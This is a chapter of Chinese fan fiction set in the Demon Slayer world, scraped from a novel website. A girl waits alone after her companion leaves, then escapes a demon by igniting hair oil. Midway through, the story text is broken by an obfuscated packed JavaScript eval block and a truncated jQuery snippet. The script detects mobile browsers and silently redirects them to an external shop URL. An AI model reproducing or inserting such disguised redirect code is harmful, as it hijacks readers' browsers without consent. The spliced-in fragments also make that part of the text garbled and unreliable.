文趣网 > 其他小说 > [鬼灭]养大一个妻子 > 22.chapter22
    玄弥终是什么都没说,拿了换洗的衣服去洗澡。

    他垂着脑袋一身热气的回来时,小时已经准备好了药膏,他们的小药箱常年都是满的。

    不等她开口,玄弥擦了擦头上的水,很有自知之明地坐在她面前。

    又过了片刻,脸上的水汽没了,小时才开始给他上药,淤痕范围不大,她用指腹轻轻揉搓:“其他地方还有吗?”

    玄弥摇摇头,清凉的药气有些熏眼睛。

    “好了。”小时收起东西,放回原位,“猜猜今天吃什么?”

    “味增汤和饭团。”

    “一点难度也没有吗。”

    玄弥总算露出稍微放松下来的神情。

    之后一直等到临睡前,他都很安静。

    小时在镜子前出神。

    玄弥蓦地反应过来,走上前:“抱歉,我忘记了。”

    他拿起桌子上的发油。

    “……我自己来就行了。”小时伸手想拿回来。

    “这是我们说好的。”他躲开了,倒了些发油在手心,熟练地在海藻般的长发上揉搓。

    空气里飘着淡淡的山茶花香。

    小时却还是垂着眼眸,想着他今天的反常,话到嘴边又变成了:“要不然还是剪掉一些怎么样?”

    “如果只是觉得护理麻烦,我来做就好了。”玄弥还是这样的回答。

    小时原本对头发也不怎么在意,但被他这样养着,如今也觉得有点可惜,刚才的话是试探。

    她忍不住问道:“发生了什么连我也不能说吗?”

    他们互相依靠生活了这么久,有不对劲的地方,怎么会察觉不到,她难过的是对方的隐瞒。

    玄弥的动作顿了顿,更细致的照顾到每一根发丝。

    “伤是因为有人找麻烦,不过已经没事了。”他轻飘飘揭过了这些天的困扰。

    “只有这个?”小时将信将疑,如果是这种事,他应该怎么都不会说才对。

    玄弥放下手,合上发油的盖子,从镜子里沉沉地望着她,眼中闪过犹豫和挣扎:“我想去找哥哥。”

    小时轻轻一笑,没有迟疑答道:“好啊。”

    他们等了这么久,是该给那两人一点教训了,若是看到他们出现,不知道会是什么表情,她转过身来问道:“要从哪里开始找呢?”

    “附近的镇上能打听到情报吗?”小时不太确定地说,“已经想好什么时候出发了吗?”

    她当然也动过去找实弥他们的念头,但他们不知道位置,也没有半点相关的信息,只能安慰自己再等等。

    见她认真计划起来,玄弥目光微闪:“小时。”

    小时朝他看过去:“我在听,对了,怎么突然说起这个?”

    他艰难开口:“嗯……我想先……去找找看。”

    含糊的话语中间还夹杂着些什么,小时微微一怔,眉眼的弧度下降了几分:“我知道了,你不打算带上我。”

    玄弥的确没有非要和她一起的理由,但她没想过要分开。

    小时沉默下来,思绪如麻。

    她明白玄弥要去找实弥的心情,可是……她怎么办?一个人留下吗?也是,如果遇到危险,她也帮不上忙,说不定会耽误时间,还有……

    “小时?小时!”玄弥把手搭在她的肩膀上,唤回了怔愣中的人。

    他一字一句解释:“我从来没有觉得你是累赘。”

    四目相对,真正的理由却无法宣之于口,玄弥声音顿在喉间,咽下苦涩。

    “我知道的,”小时喃喃重复了一遍,重新勾起唇角,“说不定他们中途就回来了,我就留在这里等。”

    她神色如常,只有眼睛像蒙了一层透明的壳,然后伸手抱住了他。

    颈侧相贴,温暖的身体牢牢拥住了他,鼻尖是他刚刚亲手抹上去的山茶花香气,女孩唇齿间仿佛响过某种东西碎裂的声音。

    玄弥心软了。

    “路上小心。”小时在他耳边说道。

    她松开手,边起身边开口:“什么时候出发?要准备多少东西才够呢?”

    只是说的每一句话都没有回头。

    玄弥下意识伸手拉住她。

    “……我得抓紧时间。”小时提醒道。

    “对不起,我会尽快回来的。”

    “嗯,”她小声回应,转头笑着说道,“我相信你。”

    眼神中,却像是已经接受了既定的结果。

    玄弥心脏一缩,说不出安慰的话来,再一看,她在自顾自收拾行囊了。

    彻夜未眠。

    玄弥决定一大早就出发,刚转了个身,旁边的人就看了过来。

    他改了主意,打算先去找昨天见到的男生,那个人一定还没走远,又有很多人见过,比直接去找哥哥难度低。

    等问到了鬼杀队的位置,他再回来考虑接下来怎么办。

    “我很快就回来了。”这次,玄弥信誓旦旦保证道。

    他实在做不到抛下小时一走了之,只能先抓住眼下的信息再说。

    小时看着他,勉强扯了下嘴角:“……好。”

    玄弥知道她还在忧虑昨晚没说清楚的话,现在说再多显得苍白,只能用行动证明。

    他不耽搁了,狠下心迎着晨光离开。

    小时呆站了半晌,直到阳光从头顶正上方照下来,鸟儿在空了的瓷碗面前叽叽喳喳叫个不停。

    她回过神来,取了新的食物补上。

    她走过去时,几只鸟竟然也不躲,就在旁边等着她添满后,挥着翅膀一拥而上。

    小时看见了昨天那只麻雀。

    “这些是你的伙伴?”

    “啾啾!”

    小时听不懂:“以后就剩你们陪我了。”

    “原本不属于我的家,只有我一个人了。”

    “啾!”“叽!”

    啄得正欢的两只仰头对着她用力叫了两声,真的像是在回应。

    是……巧合吧。

    小时先去菜地浇了水,洗干净昨天换下的衣服,就在太阳下绣昨天没完成的花样。

    说来也奇怪,几年前种子店送的那包‘混合种子’一直没有发芽,也许是温度的原因,她都忘得差不多了,没想到今年注意到的时候,那块地方长出来的枝叶已经老高了。

    里面混着一种蓝色花,花瓣呈长条散开,花茎上竟然没有叶子,可惜没过几天便枯萎了。

    她还不知道叫什么名字,总之先想办法记了下来,说不定有人会喜欢。

    白天的时间不算难过,与玄弥外出时区别不大。

    等到夜幕降临,里外都是寂静的天,小时才意识到,他不会回来了。

    她一个人吃了饭,想假装和平时一样,却在铺好被褥那一刻,久久无法释怀。

    这种感受是什么?她捂住心口,让人难过的情绪如同潮水般涌来,也许它们的名字就叫孤独或是寂寞。

    可她还是忍住了眼泪,没有被这股情绪淹没,干脆打开半扇门,望向天空中的繁星,迷迷糊糊靠着门框过了一夜。

    醒来时,什么都没有改变,一切都不是梦,还因为用了奇怪的姿势过夜,弄得浑身酸痛。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602606|205498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小时补上碗里的食物,做什么都提不起劲来,干脆偷了一天懒。

    反正不吃饭不睡觉也没有人会理她了,她戳了下麻雀的尾巴,把旁边的鸟吓得四处逃窜,只有它不动如山。

    “有这么好吃吗?”小时也觉得奇怪,“算了,不打扰你们吃东西了。”

    她伸了个懒腰,自言自语道:“玄弥的进展顺利吗。”

    这晚,小时打算早早睡下,睡着了,时间会过得很快,顾不上多想。

    她草草在发尾搓了点发油,就起身去关灯,却在握住开关的那一刻,听见惊慌失措的鸟鸣。

    难道是有野猫?她侧耳细听了一会,又没了下文。

    是错觉吗?

    小时没有多想,拉下连接着电灯开合的细绳,转身——

    猝不及防对上一双红光闪烁的眼睛。

    “?!”

    心跳骤停,她直直跌坐在地上,尖叫堵在喉咙里变成发不出声音的喘息,脑海中嗡嗡作响。

    这是什么?!

    那道目光追随着她,小时僵着身子动弹不得,恍惚中觉得外面的东西笑了。

    红色光芒黯淡下去。

    她不敢松懈,同手同脚慌忙去摸索能堵住门的东西,刚碰到桌面,大门哗啦一声,粉碎得彻彻底底。

    庞大的身躯弯下脖子,走了进来,扯开嘶哑的嗓子:“运气不错嘛,是个可爱的小姐。”

    青色皮肤上盘扎着大小不一的铁色疙瘩,额头两侧竖着巴掌大的角,就像书本里怪谈中的——恶鬼。

    他每走一步,地面就跟着震上一震。

    小时摸到了某种触感微凉的物品,下意识砸了上去。

    一记清晰的脆响,浓烈的山茶花香蔓延开。

    “咳咳!”对方立刻捂住鼻子,“什么东西!好臭、咳、呕——”

    是她的发油,小时猛地清醒过来,趁他捏鼻子挥手的空当,努力思考。

    这一看就是不速之客,她得先逃出去,门走不了了,那窗户……但这个距离太短……

    她压着恐惧,拼命观察这间不算大的房子。

    对了!发油……

    小时想到办法,动了动发软的双腿,一鼓作气往旁边扑过去。

    “想跑?”那只鬼放弃了和身上甩不掉的液体做斗争,朝她伸出手。

    小时低着头不停颤抖。

    “没错,你听话,我会给你个痛快。”他咧嘴笑了。

    小时微微抬起眼,等伸过来的手又靠近了些,她飞快扔出护在怀里发着光的东西。

    轰的一声,火光沿着发油迅速蔓延,在怪物的身体上熊熊燃烧。

    “啊!!可恶,区区小鬼!”他发出惨叫,满是火焰的手不甘心地伸出。

    小时弯腰钻过去,爬上窗台跳出去,一刻不敢停往前跑。

    她隐约听见有什么被划破的声音,以为是衣服,更咬牙加快了速度。

    慌不择路不知道跑了多远,她停了下来,耳朵里只剩剧烈的喘气声。

    那个怪物被她烧死了吗?该去找人帮忙吗?

    对了,浅仓阿姨。

    小时看了看周围不太熟悉的环境,意识到自己跑错了方向。

    怎么办?还是回去找浅仓阿姨,或是先留在这里?

    她脑海中混沌不堪,拿不定主意,加上一天没怎么吃东西,有些体力不支了。

    “桀桀桀,看来是没注意到啊。”

    毛骨悚然的声音骤然响起,小时瞳孔一缩。

    “你的腿在流血哦,粗心的小姐。”